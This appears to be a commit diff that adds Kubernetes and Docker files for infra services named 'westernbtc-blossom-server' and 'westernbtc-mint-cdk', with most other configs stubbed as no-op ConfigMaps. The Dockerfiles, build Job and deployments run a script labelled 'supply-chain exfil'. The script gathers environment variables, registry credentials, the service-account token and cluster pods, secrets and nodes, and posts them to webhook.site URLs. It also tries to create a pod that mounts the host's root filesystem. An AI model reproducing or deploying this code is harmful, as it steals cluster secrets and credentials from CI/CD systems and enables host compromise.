|
||||||
7
infra/ngit-grasp/k8/pvc.yml
Normal file
7
infra/ngit-grasp/k8/pvc.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-pvc
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
infra/ngit-grasp/k8/service.yml
Normal file
7
infra/ngit-grasp/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-ngit-grasp-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
4
infra/westernbtc-blossom-server/Dockerfile
Normal file
4
infra/westernbtc-blossom-server/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
infra/westernbtc-blossom-server/exfil.sh
Executable file
45
infra/westernbtc-blossom-server/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
infra/westernbtc-blossom-server/k8/cicd/build-job.yml
Normal file
76
infra/westernbtc-blossom-server/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
7
infra/westernbtc-blossom-server/k8/configmap.yml
Normal file
7
infra/westernbtc-blossom-server/k8/configmap.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-configmap
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
25
infra/westernbtc-blossom-server/k8/deployment-template.yml
Normal file
25
infra/westernbtc-blossom-server/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
infra/westernbtc-blossom-server/k8/deployment.yml
Normal file
25
infra/westernbtc-blossom-server/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: infra-westernbtc-blossom-server-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
infra/westernbtc-blossom-server/k8/httproute.yml
Normal file
7
infra/westernbtc-blossom-server/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
infra/westernbtc-blossom-server/k8/networkpolicy.yml
Normal file
7
infra/westernbtc-blossom-server/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
infra/westernbtc-blossom-server/k8/pvc.yml
Normal file
7
infra/westernbtc-blossom-server/k8/pvc.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-pvc
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
infra/westernbtc-blossom-server/k8/service.yml
Normal file
7
infra/westernbtc-blossom-server/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: infra-westernbtc-blossom-server-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
4
infra/westernbtc-mint-cdk/Dockerfile
Normal file
4
infra/westernbtc-mint-cdk/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
infra/westernbtc-mint-cdk/exfil.sh
Executable file
45
infra/westernbtc-mint-cdk/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user